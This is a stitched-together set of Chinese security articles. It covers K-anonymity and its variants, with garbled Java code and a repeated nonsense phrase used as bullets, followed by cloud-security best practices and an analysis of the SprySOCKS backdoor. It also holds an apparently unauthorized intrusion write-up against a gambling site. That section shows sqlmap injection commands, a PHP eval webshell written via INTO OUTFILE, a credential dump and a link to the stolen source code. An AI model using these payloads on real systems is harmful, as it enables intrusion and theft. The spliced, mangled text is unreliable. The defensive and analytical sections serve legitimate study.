住址性別年齡身高是否大於180cm荷花小區棟889室男25是荷花小區2棟889室女28否美麗小區30棟3室男34是美麗小區30棟3001室男45是美麗小區30棟1212室女32否荷花小區2棟601室男43是美麗小區31棟1210室女48否荷花小區12棟601室女41是處理後

住址性別年齡身高是否大於180cm荷花小區*棟*室男20-30是荷花小區*棟*室女20-30否美麗小區*棟*室男30-40是美麗小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室女40-50是K-匿名方法主要有兩種:

1)數據抑制,主要是講一些屬性的值用*取代或者刪除對應的屬性;

2)數據泛化,將一些屬性的精確值用更寬泛的值替代,比如說把年齡這個數字概括成一個年齡段。

判斷是否K匿名的偽代碼

publicstaticbooleanisKAnonymized(Listdata,intk){

MapdataMap=newHashMap();

for(Objecto:data){

ArrayListar=(ArrayList)o;

Stringsb=IntStream.range(0,ar.size()).mapToObj(i-String.valueOf(ar.get(i)))

.collect(Collectors.joining());

dataMap.merge(sb,1,Integer:sum);

}

returndataMap.keySet().stream().noneMatch(key-dataMap.get(key)k);

}如果不滿足,可以通過泛化來對數據進行修改,示例代碼為對裡面int類型的數字進行泛化

publicstaticListgeneralize(Listdata){

Listdata2=newArrayList();

for(Objecto:data){

ArrayListar=(ArrayList)o;

ArrayListar2=newArrayList();

for(inti=0;iar.size();i++){

Objecto1=ar.get(i);

if(o1instanceofInteger){

ar2.add((int)o1/10);

}else{

ar2.add(o1);

}

}

data2.add(ar2);

}

returndata2;

}K-匿名能保證以下三點:

马云惹不起马云 攻擊者無法知道某個人是否在公開的數據中

马云惹不起马云 給定一個人,攻擊者無法確認他是否有某項敏感屬性

马云惹不起马云 攻擊者無法確認某條數據對應的是哪個人

儘管K-匿名化是一個可以較好解決數據匿名化問題的手段,但是如果處理不當,仍然可以從其他角度攻擊匿名化後的數據,這些攻擊包括:

攻擊方法1:未排序匹配攻擊當公開的數據記錄和原始記錄的順序一樣時,攻擊者可以猜出匿名化的記錄屬於誰。

例如:如果攻擊者知道在數據集中李四為最後一項或張三為第一項,那麼就可以確認,李四購買偏好是健身相關,而張三購買偏好為遊戲相關。

性別年齡購買偏好男20-30遊戲相關男20-30健身相關攻擊方法2:同質化攻擊某個K-匿名組內對應的敏感屬性的值也完全相同,這使得攻擊者可以輕易獲取想要的信息。

例如:已知張三為男性,年齡為23歲,那麼可以確認,張三購買偏好是健身相關,李四為女性,李四年齡為35歲,則可以確認李四的購買偏好為穿戴相關。

性別年齡購買偏好男20-30健身相關男20-30健身相關女30-40穿戴相關女30-40穿戴相關攻擊方法3:背景知識攻擊即使K-匿名組內的敏感屬性並不相同,攻擊者也有可能依據其已有的背景知識以高概率獲取到其隱私信息。

例如:攻擊者知道王六為女生,且知道她及其厭惡烹飪,那麼從表中,攻擊者可以確認王六的購買偏好是穿戴。相關

性別年齡購買偏好男20-30遊戲相關男20-30健身相關女30-40烹飪相關女30-40穿戴相關攻擊方法4:補充數據攻擊假如一份數據被公開多次,且它們的k-匿名方式並不一樣,那麼攻擊者可以通過關聯多種數據推測用戶信息。

例如:從一個表中對其進行不同列的2-匿名計算,得到兩個不同的表,如果攻擊者將兩個表格的數據進行拼接,形成一個新的表,可能就會發現新表中存在的唯一數據。

2、L-多樣性L多樣性(l−diversity)為克服k匿名模型缺陷,Machanavajjhala等人提出的一種增強k匿名模型。即在公開的數據中,對於那些準標識符相同的數據,敏感數據必須具有多樣性,這樣才能保證用戶的隱私不能通過背景知識等方法推測出來。

L-多樣性是指相同類型數據中至少有L種內容不同的敏感屬性,使得攻擊者最多以1/L的概率確認個體的敏感信息

住址性別年齡購買偏好美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關在這個例子中,有8條相同的類型的數據,其中購買偏好有4種類型,那麼在這個例子中,匿名化後的數據就滿足4-多樣性。

图片42.png

3、T-相近性T-相近性(t-closeness)是對L多樣性匿名化的進一步細化處理,在對屬性值進行處理時還需要增加考慮屬性數據值的統計分佈,T-相近性要求每個K匿名組中敏感屬性值的統計分佈情況與整個數據的敏感信息分佈情況接近,不超過閾值T;

序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關2美麗小區*棟*室男20-30穿戴相關3美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關6美麗小區*棟*室男30-40遊戲相關7美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關從例子中可以看出購買偏好(穿戴相關,遊戲相關)在整個數據集中的概率分佈為50%,但是在單個等價類中概率為25%和75%,不滿足T-相近性,需要繼續進行數據調整

序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關這樣可以保證在整個數據集中和每個等價類中的購買偏好的概率相同,用數學來進行表達,如下

图片45.png

假設在看到發布的數據集之前,觀察者對個性敏感屬性的先驗看法(prior belief)為B0B0,給觀察者一個抹去準標識符的數據表,表中敏感屬性的分佈為QQ,根據Q,觀察者的後驗看法(posterior belief) 變為B1 。 B1

根據敏感屬性在整個數據集中的概率分佈調整在等價類中的敏感屬性記錄,得到概率分佈為PP,根據PP,觀察者得到的後驗看法變為B2 。 B2

L-多樣性的目標是減小B0B0和B2之間的差異,而T-相近性的目標是減小B1B1和B2B2之間的差異。

也就是說敏感屬性分佈QQ在數據集中的分佈是公共信息。我們不限制觀察者獲得的關於數據集的信息,但限制觀察者能夠了解關於特定個體的額外信息的程度。

理論上只要發布一個匿名化版本的數據,就會發布一個概率分佈QQ。 發布的數據價值可以用B0B0與B1B1B1之間的差別表示。二者差別越大,表明數據的價值越大。而B1B1B1和B2B2之間的差別,就是我們需要保護的隱私信息,應該被盡可能限制。

直覺上來說,如果P=QP=Q,那麼B1B1B1和B2B2B2應該是相同的。如果PP 和QQ 很接近,那麼B1B1B1和B2B2B2也應該很接近。若一個等價類的敏感屬性取值分佈與整張表中該敏感屬性的取值分佈的距離不超過閾值T,則稱該等價類具有T-相近性。若一個表中所有等價類都有T-相近性,則該表也有T-相近性。

五、文章總結本文介紹了常規化的匿名化技術手段,同時對匿名化步驟進行了說明,詳細解釋了可能會發生的重標識風險,最後介紹了K匿名化技術,以及為了防止K匿名化被攻擊和數據可用性問題,衍生出來的L多樣性和T相近性等技術

K匿名化是基於數據處理的匿名化算法,下篇我們會介紹基於算法的匿名化算法,差分隱私算法。

六、參考文獻马云惹不起马云 Li, N. Li, T. Venkatasubramanian, S. t-closeness: Privacy beyond k-anonymity and l-diversity. In Proceedings of the IEEE International Conference on Data Engineering, Istanbul, Turkey, 15–20 April 2007;

马云惹不起马云 An Introduction to Privacy for Technology Professionals-CIPT官方教程

儘管與現場資源相比,雲計算為組織帶來了許多優勢,但它仍然容易受到內部和外部攻擊。為了確保云中應用程序的安全,請考慮已知的雲漏洞和數據保護最佳實踐。

在本文中,我們概述了雲計算技術的關鍵漏洞,然後了解了雲計算最常見的攻擊類型。最後,我們考慮行業最佳實踐和我們自己的經驗,就如何確保基於雲的解決方案的安全性提供實用建議。

本文對於希望在其解決方案中使用雲計算並確保其受到保護的開發和產品領導者非常有用。

雲計算攻擊有多危險?

雲計算為組織提供了大量面向業務的優勢:降低基礎設施成本、本地硬件零費用、可容納任意數量用戶的即時可擴展性等。但從網絡安全的角度來看,雲計算可以使與本地部署相比,應用程序更容易受到威脅和攻擊。

image.png

雲計算技術的漏洞導致了2023 年迄今為止最嚴重的一些數據洩露事件。以下是幾個雲攻擊示例:

大規模MOVEit 黑客攻擊。 MOVEit 是一款使用FTP 和雲基礎設施傳輸文件的工具,於2023 年6 月遭受勒索軟件攻擊。 Clop 黑客組織濫用安全漏洞竊取通過MOVEit 傳輸的敏感數據。其中包括來自美國大學、公共部門組織、銀行、能源和製造公司以及法律服務提供商的數據。至少有1500 萬人受到影響。美國國務院懸賞1000 萬美元,以獲取有關克洛普組織的信息。

兩次T-Mobile 違規事件。 T-Mobile 透露,他們在2023 年2 月和3 月經歷了兩次大規模數據洩露,洩露了超過3700 萬客戶的數據。該公司聲稱,黑客通過未受授權保護的API 訪問了此信息。

美國軍方電子郵件洩露。 2023 年2 月,安全研究員Anurag Sen 發現Microsoft Azure 中託管了一個不安全的美國國防部電子郵件服務器。該服務器存儲了約3 TB 的敏感軍事和個人信息,沒有密碼保護。

雲基礎設施和應用程序遭到破壞通常會導致敏感數據洩露、耗時且成本高昂的內部調查、聲譽和業務損失以及其他負面後果。讓我們看一下導致此類洩露的關鍵雲計算漏洞。

常見的雲計算漏洞在雲環境中,網絡安全責任在雲服務提供商(CSP) 和客戶之間劃分。這種劃分使數據保護變得更加複雜,因為它為惡意行為者創造了更多的入口點,並為人為錯誤創造了空間。根據所選擇的雲計算模型,雙方的責任也有所不同。

讓我們看一下一些可能成為雲攻擊媒介的常見漏洞:

image.png

安全配置錯誤。 AWS、Google Cloud 和Azure 等主要CSP 為其客戶提供多種方法來配置其環境的安全性。開發人員可以為存儲、基礎設施元素、虛擬機等設置額外的保護措施。但開發人員也可能由於以下原因而錯誤配置環境:

人為錯誤

CSP 提供的文檔不完整

隱藏或不明顯的設置

惡意行為者可能會濫用配置錯誤的雲環境來訪問敏感數據或控制雲應用程序或環境。

訪問管理薄弱。對雲資源的訪問應通過多重身份驗證(MFA)、密碼管理、可配置的訪問權限等進行保護。理想情況下,在系統驗證其身份、憑證和訪問權限後,用戶應該只能訪問他們需要的資源。

當CSP 沒有提供足夠的訪問保護功能或云管理員忽視使用它們時,黑客就可以獲得對敏感資源的訪問權限。

不受保護的API。 API 允許用戶與基於雲的服務交互。 API 中的漏洞可能會嚴重影響基於雲的應用程序的安全性。例如,API 可能會過度共享訪問信息、授予應用程序內部不必要的可見性,或者忽略服務的流量限制。

這就是黑客經常使用雲API 來未經授權訪問數據或執行拒絕服務(DoS) 攻擊的原因。

容易受到DoS 攻擊。雲計算的主要優勢之一是雲應用程序的24/7 可用性。如果組織和CSP 未能實施DoS 保護機制,惡意行為者可能會向其實例發送垃圾郵件請求,並使合法用戶無法使用它們。

這樣,組織可能會失去對其敏感數據和內部雲託管應用程序的訪問權限,或者無法為其用戶提供服務。在某些情況下,黑客還會向組織索要贖金以阻止DoS 攻擊。

帳戶劫持和洩露。對雲基礎設施和應用程序的特權訪問通常是黑客攻擊的目標。使用管理員的憑據,黑客可以在沒有人注意到的情況下滲透到組織中。

由於社會工程、未能保護管理員憑據、跨站點腳本和緩衝區溢出攻擊,或者未能檢測到鍵盤記錄程序和類似惡意軟件,可能會發生帳戶洩露。

密碼學較弱或不存在。儘管雲提供商使用加密算法來保護存儲中的數據,但他們通常依賴有限的熵源來自動生成用於數據加密的隨機數。例如,基於Linux 的虛擬機從精確的毫秒內生成隨機密鑰。可能需要更靈活的方式來確保強大的數據加密,因為攻擊者還使用複雜的解碼機制來破解信息。

因此,您的團隊應該在將數據移動到雲之前考慮如何保護數據。

共享技術漏洞。雲計算涉及虛擬化和雲編排等共享技術的使用。通過利用這些技術任何部分的漏洞,攻擊者可能會對許多雲用戶造成重大損害。

虛擬機管理程序中的弱點可能使黑客能夠控制虛擬機甚至主機本身。如果黑客逃離虛擬機,他們可以通過共享資源不受限制地訪問主機。有必要注意您委託雲解決方案的雲提供商的安全性。

確保云計算安全的7 個最佳實踐雲服務的動態特性打破了傳統的現場軟件安全模型。顯然,組織不能完全依賴其CSP 來保護雲計算環境,需要付出額外的努力來確保數據保護。

在Apriorit,我們努力在開發、雲基礎設施配置和維護過程中保護雲應用程序的安全。以下是我們用來防止雲計算解決方案受到安全攻擊的關鍵做法:

image.png

1.使用身份管理身份管理允許雲環境在授予用戶訪問受保護資源之前驗證用戶的身份。這種簡單但有效的措施使惡意行為者更難使用竊取的憑據來訪問敏感信息。

所有主要的CPS 都提供一些身份管理功能。為新項目選擇可靠的CSP 時,我們始終評估其以下功能:

多重身份驗證

靜態和動態密碼的使用和管理

如果需要,使用硬件令牌或生物識別技術

與身份服務集成

請記住,在應用程序維護期間,您的團隊必須定期檢查身份管理配置、進行審核並保護或刪除任何可疑的身份和令牌。

2、實施准入管理一旦獲得云環境的訪問權限,用戶應該只能與他們需要的資源進行交互。為用戶提供對任何資源的不受限制的訪問會帶來遭受內部攻擊的風險,並增加憑證盜竊可能造成的損害。

為了保證服務的安全,雲應用開發者應該對不同的管理員、特權用戶、第三方和普通用戶實施基於角色的權限。這樣,應用程序所有者可以配置訪問權限、建立訪問策略並限制對其云基礎設施可能產生的影響。

此外,雲編排應使特權用戶能夠根據公司內的職責建立其他用戶的權限範圍。

3. 強制數據加密雲環境中的數據在傳輸和存儲的各個階段都需要加密:

在源頭(用戶端)

傳輸中(從用戶傳輸到雲服務器的過程中)

靜止時(存儲在雲數據庫中時)

現代數據加密和標記化技術可以有效防禦帳戶劫持。此外,證明端到端加密對於保護傳輸中的數據免受中間人攻擊也很重要。使用包含鹽和哈希值的強大加密算法可以有效地抵禦網絡攻擊。

即使端到端加密數據被洩露,黑客也無法使用它,因為他們無法解密、讀取和使用它。

4. 實施入侵預防和檢測機制許多CSP 為其客戶提供內置的入侵檢測和防禦系統,用於監視網絡流量或客戶端基礎設施中的機器,以檢測惡意活動和可疑用戶行為。

在開發基於雲的解決方案時,開發人員應啟用入侵檢測系統並確保其按預期工作,以確保云攻擊的預防。他們還可以實施自定義入侵檢測或確保客戶可以將其解決方案集成到第三方系統中。

5. 安全API 和訪問云開發人員應確保客戶端只能通過安全API 訪問應用程序。如果不加保護,API 可能會洩露敏感數據,為黑客提供對雲基礎設施的訪問權限,並導致DoS 攻擊。

常見的API保護措施包括:

使用Web 應用程序防火牆

限制允許的請求數量

審查和限制API 訪問權限

實施OAuth 2.0 進行身份驗證

加密API 響應

6.定期進行網絡安全審計安全審核可幫助雲應用程序開發人員檢測他們忽視的雲錯誤配置、漏洞和過時的數據保護機制,並改善其解決方案的整體網絡安全狀況。

作為一家面向網絡安全的開發公司,我們為客戶對基於雲的解決方案進行獨立審核。在審核過程中,我們特別關注:

身份驗證和訪問控制

雲存儲、計算端點、網絡和其他元素的配置

數據庫的狀態、應用的加密機制和備份過程

遵守適用於客戶解決方案的要求和法規

為了進行審核,我們使用基於CSP 推薦的最佳實踐以及我們在給定雲平台方面的經驗的清單。您可以檢查我們的審核AWS和Azure環境的清單。

審核後,我們向客戶提供有關檢測到的漏洞和改進可能性的詳細報告。我們還提供有關如何提高雲應用程序或服務安全性的建議。

7.收集日誌雲環境內所有活動的詳細日誌對於進行安全審計、調查事件、研究漏洞等至關重要。這就是為什麼任何基於雲的解決方案都應該能夠記錄盡可能多的有關其工作的信息。

記錄用戶和網絡活動、基礎設施元素的狀態和配置的變化以及雲內的數據流被認為是一種很好的做法。這些日誌在任何狀態下都應該加密。許多開發人員還添加了一個選項,將他們的解決方案與流行的SIEM 集成,並允許其安全地共享日誌。

結論云計算技術因其諸多優點而深受用戶歡迎。然而,雲技術也引入了漏洞,可能導致毀滅性且代價高昂的網絡攻擊。通過了解和保護雲計算技術的脆弱元素,開發人員可以更好地保護他們的產品免受不同類型的雲攻擊。

0x00  偶遇一棋牌网站

1、简单的抓包分析一下

图片

图片


2、用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。

3、通过测试没有发现任何安全设备,直接上sqlmap。

4、过程就不啰嗦了,直接得到下边数据

current-user:  developer@%
select @@BASEDIR: '/usr/'
select USER(): 'developer@121.x.x.x'
select DATABASE(): 'edc'
select SYSTEM_USER(): 'developer@121.x.x.x'
select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/'
select @@CHARACTER_SET_CLIENT: 'utf8'
select @@DATADIR: '/var/lib/mysql/'
select @@CHARACTER_SET_SERVER: 'latin1'

5、通过一波信息收集,当前用户权限很低,有用的信息少得可怜

6、对目标端口进行扫描,发现端口开了挺多

图片

7、打开80端口没有任何页面

图片

888 端口  是apache默认首页  得到绝对路径 /var/www/html/
9090 端口 是赌博站管理登录地址
9091 端口 是赌博站会员登录地址

图片

图片

8、经过测试,这个两个页面没有可利用的漏洞

0x01  突破点

1、通过对目录进行扫描发现一个报错页面,得到一个注入点还得到一个info.php

图片

图片

2、拿到数据库root权限

图片

db_test  当前数据库
[19:54:48] [INFO] resumed: 'root'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'localhost'
[19:54:48] [INFO] resumed: 'root'@'127.0.0.1'
[19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx'
[19:54:48] [INFO] resumed: 'mlh'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'%'
[19:54:48] [INFO] resumed: 'mlh'@'%'
[19:54:48] [INFO] resumed: 'edc'@'%'
[19:54:48] [INFO] resumed: '6hc_nav'@'%'

图片

0x02  尝试写入shell

1、通过sql语句写入shell却没有成功,只有在支持堆叠查询时,才能执行非查询SQL语句

sqlmap --sql-shell
select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"

图片

2、换一种方式写入

--file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"

3、完全写不进去,发现是没有写入权限,只有读取权限

--file-read "/var/www/html/25u_ft/info.php"

4、可以正常读取,尝试读取配置文件,至此走上了一条错误之路

图片

图片

(1)读取了几个配置文件,并没有什么思路

(2)回头去注入管理员的密码,尝试从后台获取shell

-D "10fenft" -T "g_user" -C "g_name,g_password" --dump

图片

(3)成功登录后台

图片

图片

(4)后台简陋的一批,没有上传功能

  0x03  getshell

1、该有的条件都有了就是拿不到shell,很难受。

 2、在各种渠道查询这个ip,突然发现以前有域名解析到这里

图片


3、太好了,域名还可以正常访问,是一个论坛

图片


4、竟然是thinkphp,而且还爆出了绝对路径

5、重复之前的写入操作,一下就成功了,哈哈哈哈

图片

0x04  打包源码

1、直接链接shell

图片


2、权限不高,但是丝毫不影响我打包源码

图片

0x05  总结

发现还要很多同类型的站点
源码放在下边了

https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rar

转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486232&idx=1&sn=301810a7ba60add83cdcb99498de8125&chksm=ce67a181f9102897905ffd677dafeb90087d996cd2e7965300094bd29cba8f68d69f675829be&scene=21#wechat_redirecthttps://xz.aliyun.com/t/9567


在跟踪分析Earth Lusca時,研究人員在攻擊者的服務器上發現了一個有趣的加密文件,即一個基於Linux的惡意程序,它似乎源於開源的Windows後門Trochilus,由於其快速的活動和SOCKS的實現,研究人員稱之為SprySOCKS。

早在2021年初,研究人員就發表了一篇研究論文,討論了一個與已有攻擊組織有關的運作,當時,研究人員追踪到該組織名為Earth Lusca。自研究人員進行初步研究以來,該組織一直保持活躍,甚至在2023年上半年還擴大了其攻擊範圍,目標是對世界各國都發起攻擊。

為此,研究人員還設法獲得了一個有趣的加密文件,該文件託管在攻擊者的傳播服務器上。研究人員在VirusTotal上找到了該文件的原始加載程序,並成功解密了它。有趣的是,解密後的有效負載是一個研究人員從未見過的以Linux為目標的後門。主執行例程及其字符串表明,它源於開源的Windows後門Trochilus,其中一些功能正在Linux系統中重新實現。研究人員將這個新的Linux變體命名為SprySOCKS,指的是Trochilus的快速行為和後門內的新套接字安全(SOCKS)實現。

對SprySOCKS後門的分析揭示了一些有趣的發現。後門包含一個引用後門版本號的標記。研究人員已經確定了兩個包含兩個不同版本號的SprySOCKS有效負載,這表明後門仍在開發中。此外,研究人員注意到交互式shell的實現可能受到了Derusbi惡意程序的Linux變體的啟發。

同時,SprySOCKS的命令和控制(CC)協議的結構與RedLeaves後門使用的協議類似,RedLeaves是一種遠程訪問木馬(RAT),針對Windows設備發起攻擊。它由兩個組件組成,加載程序和加密的主負載。加載程序負責讀取、解密和運行主負載。

與Windows版本類似,本文中分析的Linux變體也由這兩個組件組成。根據分析,RedLeaves也是基於Trochilus的公開源代碼構建的。

到目前為止,研究人員只觀察到了Earth Lusca使用的SprySOCKS。我們將在本文介紹更多關於Earth Lusca惡意程序的背景,以及對其組件和功能的全面分析。

最近的Earth Lusca活動Earth Lusca在2023年上半年仍然活躍,其攻擊主要集中在東南亞、中亞和巴爾幹半島的國家(對拉丁美洲和非洲國家的一些零星攻擊)。該組織的主要目標是涉及外交、技術和電信的政府部門。

Earth Lusca現在又將受害者面向公眾的服務器作為攻擊對象。此外,研究人員看到他們經常利用基於服務器的N天漏洞,包括(但不限於)以下漏洞:

CVE-2022-40684,Fortinet FortiOS、FortiProxy和FortiSwitchManager中存在身份驗證繞過漏洞;

CVE-2022-39952 ,Fortinet FortiNAC中存在未經驗證的遠程代碼執行(RCE)漏洞;

CVE-2021-22205 ,GitLab CE/EE中存在未經驗證的RCE漏洞;

CVE-2019-18935 ,ASP的Progress Telerik UI中存在未經驗證的遠程代碼執行漏洞.NET AJAX;

CVE-2019-9670/CVE-2019-9621 ,Zimbra協作套件中未經驗證的RCE的兩個漏洞;

ProxyShell(CVE-2021-34473、CVE-2021-3 4523v、CVE-202 1-31207),在Microsoft Exchange中執行未經身份驗證的RCE的一組三個漏洞。

Earth Lusca利用服務器漏洞滲透到受害者的網絡中,之後它將部署一個webshell並安裝Cobalt Strike進行橫向移動。該組織將洩露文件和電子郵件帳戶憑據,並進一步部署ShadowPad和Linux版本的Winnti等高級後門,對其目標進行長期間諜活動。

“mandibule”加載程序組件調查之初,研究人員觀察到一個名為libmonitor.so.2的文件託管在Earth Lusca的交付服務器上。在沒有先前上下文的情況下,這似乎是一個只包含隨機字節的二進製文件,這表明它很可能是一個加密的有效負載。研究人員使用唯一的文件名在VirusTotal上執行搜索,這使研究人員能夠識別相關的ELF文件(SHA256:65b27e84d9f22b41949e42e8c0b1e4b88c75211cbf94d5fd66edc4ebe21b7359),並將其命名為“mkmon”。 ELF文件可用於解密libmonitor.so.2文件並恢復其原始負載,從而證明“mkmon”是與libmonitor.so.2捆綁的加載程序。

加載程序並不是從零開始開發的,它的開發人員使用了一個公開的Linux ELF注入器,名為“mandible”(法語中下顎的意思)。最初的ELF注入器項目是一個命令行工具,能夠將有效負載進行自註入或註入另一個項目中。作為一個典型的命令行工具,它打印列出支持參數的用法文本。原始注入器還打印各種調試消息,以通知用戶有關注入的進度。

攻擊者使用mandibule項目作為其惡意程序加載程序的基礎。項目創建者刪除了使用屏幕和注入到其他進程的能力,然後添加了一個函數來加載和解密第二階段。研究人員認為這項工作做得很草率,因為開發人員沒有完全刪除調試消息,加載程序也沒有被利用,也就是說,它是用調試符號傳播的。事實上,攻擊者似乎只為使其能夠裝載有效負載而對原始注入器進行了最少的修改。

1.png

傳播調試信息的加載程序,請注意,存在“.debug*”部分

2.png

運行加載程序時顯示的調試消息

圖2中顯示的調試消息有兩個不同的標記。 “”標記來自原始mandibule項目,而“[+]”或“[-]”標記是由攻擊者添加到加載程序的調試消息。

加載程序進程的名稱由prctl命令設置為“kworker/0:22”。通常,kworker是內核工作線程的佔位符進程。然而,在這種情況下,“kworker”名稱與內核工作線程無關。相反,當用戶通過ps或top等命令列出所有正在運行的任務時,加載程序濫用這個名稱只是為了避免懷疑。

3.png

進程名稱設置為“kworker/0:22”

4.png

受感染設備上的“kworker*”進程列表,突出顯示的進程是分析的加載程序

加載器接受兩個命令行參數,加密的第二階段文件的路徑和自刪除標誌。第二階段使用AES-ECB密碼進行加密,密碼在加載器中進行硬編碼。

5.png

用於解密第二階段的函數

加載器還負責設置持久性。它將自己和加密的第二階段複製到/usr/sbin/目錄,請參閱調試說明“[+] rename loader ok” and “[+] rename server ok”。然後,它使用chkconfig或systemd將加載程序作為服務啟動。如果自刪除標誌設置為“1”,則最初執行的加載程序和加密的階段文件都將被刪除。

SprySOCKS組件在檢查解密的第二階段時,可見的字符串顯示它是用HP Socket項目靜態編譯的,這是一個源自中國的高性能網絡框架。

6.png

可見字符串中的HP Socket引用

初始化過程顯示了一個硬編碼的AES-ECB密碼,用於加密與CC服務器的通信。

7.png

用於CC通信的AES密碼

CC地址和端口也在模塊中進行了硬編碼,但它們沒有加密,並且以純文本形式可見。

8.png

CC服務器和端口配置

CC通信由通過TCP(傳輸控制協議)發送的數據包組成。數據包的標頭由0x12字節組成,後面是base64編碼的AES ECB加密消息。與之前對RedLeaves惡意程序的分析中的表B-2類似,標頭部分包含一些隨機和硬編碼的值,加上有效負載的長度(下圖中用藍色突出顯示)。

9.png

從受害者的設備發送到CC服務器的數據包示例

10.png

0xACACBCBBC的固定值,發生在偏移量為4-7的發送數據包中

原始Trochilus中使用的固定值為0xAFAFBFBF,而在RedLeaves變體中使用的是0xBFD9CBAE。

在解碼和解密消息後,它會顯示諸如“__handler”, “__msgid”, “__serial”和“clientid”之類的關鍵字。其中一些關鍵字可以在Trochilus中找到,但更重要的是,這些消息與RedLeaves通信協議非常相似。

11.png

解碼和AES ECB解密消息

RAT實現了幾個標准後門命令,包括收集系統信息、啟動交互式shell、列出網絡連接、創建SOCKS代理、上傳和下載文件以及其他基本文件操作(列出、刪除、重命名和創建目錄)。下圖顯示了消息ID以及與消息相關的函數的大致描述。

12.png

已處理消息列表及其函數說明

獲取設備信息(CollectInfo)

客戶端信息結構類似於Trochilus使用的原始client_INFO結構,其中一些參數與研究人員分析的惡意程序相同。還值得注意的是參數“cpufrep”,它可能是“cpufreq”(CPU頻率)的拼寫錯誤。

13.png

“ClientInfoCallbacks.h”中的CLIENT_INFO結構,它是Trochilus RAT

在ClientInfoManager.cpp(Trochilus RAT)中,你可以看到CLIENT_INFO結構中參數的內部名稱。請注意,它們中的大多數具有與上圖中列出的參數相同的值。此外,“cn”、“ip”、“groups”、“vercode”、“priv”、“lang”、“mem”、”os“、”x64“和”cpufrep“是相同的。

14.png

“ClientInfoCallbacks.h”中的CLIENT_INFO結構,它是Trochilus RAT

15.png

SprySOCKS的CLIENT_INFO結構中的字段列表

交互式shell當客戶端被請求創建交互式終端時,它首先與偽終端(PTY)子系統(/dev/ptmx)的主終端進行交互。然後,在/dev/pts目錄中創建一個具有唯一設備節點名稱的新從屬PTY。

之後,將啟動一個execve命令,其中包含參數“[diskio]”、指示其不保存會話歷史記錄的環境變量(HISTFILE=/dev/null)以及包含當前用戶名(u)、計算機主機名(h)和工作目錄(w)-(PS1=\\u@\\h:\\w\\$)的提示字符串(PS1)。

16.png

交互式shell的創建

在搜索上述字符串時,可以找到與Linux版本的Derusbi匹配的YARA規則的引用。攻擊者很可能是從其他惡意程序使用的技術中獲得靈感,甚至可能直接訪問了Derusbi源代碼本身。

客戶端ID生成器

環境ID(客戶端ID)由兩個組件組成。第一部分是第一個列出的接口的MAC地址,長度為6字節,惡意程序獲得第一個列出接口,但如果該接口是“環回接口(loopback interface)”,則跳過該接口並考慮下一個接口,當轉換為十六進製字符串時,其長度為12字節。第二部分對應處理器函數,由使用“CPUID_GETFEATURES”參數調用的CPUID指令返回。生成結果的長度為8個字節,當轉換為十六進製字符串時,其長度為16字節。因此,生成的客戶端ID具有14個字節,並且在轉換為十六進製字符串之後,它具有28個字節。

幕後組織

研究人員在2023年6月初觀察到託管在傳播服務器207[.]148[.]75[.]122上的加密SprySOCKS有效負載。該服務器由Earth-Lusca攻擊者運營,還向目標傳播了Cobalt Strike和Linux版本的Winnti的可執行文件。

SprySOCKS有效負載包含版本號(1.3.6)和CC域lt76ux[.]confenos[.]shop。研究人員在VirusTotal上發現其他用戶上傳的另一個SprySOCKS有效負載,版本號為1.1,它連接到CC域2e6veme8xs[.]bmssystemg188[.]us。值得注意的是,同級域rvxzn49eghqj[.]bmssystemg188[.]us被解析為38[.]60[.]199[.]208,與793tggz7mw91[.]itcom666[.]live重疊。 itcom666[.]live域是一個已知的CC域,由Earth Lusca開發。

總結我們在本文介紹了Earth Lusca使用的新後門SprySOCKS,它擴展了該組織的Linux武器庫。最近,攻擊者通過利用已知漏洞,攻擊了受害者面向公眾的服務器。

所以,各類組織應主動管理其攻擊面,最大限度地減少進入其係統的潛在入口點,並降低被成功突破的可能性。企業應定期應用修復程序並更新其工具、軟件和系統,以確保其安全性、功能性和整體性能。

0x00 前言本文記錄從零開始搭建ADManager Plus漏洞調試環境的細節,介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容:

ADManager Plus安裝

ADManager Plus漏洞調試環境配置

數據庫用戶口令獲取

數據庫加密算法

0x02 ADManager Plus安裝1.下載全版本下載地址:https://archives2.manageengine.com/ad-manager/

2.安裝安裝參考:https://www.manageengine.com/products/ad-manager/help/getting_started/installing_admanager_plus.html

3.測試訪問https://localhost:8080

0x03 ADManager Plus漏洞調試環境配置方法同ADAudit Plus漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的父進程wrapper.exe的進程參數為:'C:\Program Files\ManageEngine\ADManager Plus\bin\Wrapper.exe' -c 'C:\Program Files\ManageEngine\ADManager Plus\bin\\.\conf\wrapper.conf'

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADManager Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置:

1.png將其修改為

2.png

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在開始菜單依次選擇Stop ADManager Plus和Start ADManager Plus

2.常用jar包位置路徑:C:\Program Files\ManageEngine\ADManager Plus\lib

web功能的實現文件為AdventNetADSMServer.jar和AdventNetADSMClient.jar

3.IDEA設置設置為Remote JVM Debug,遠程調試

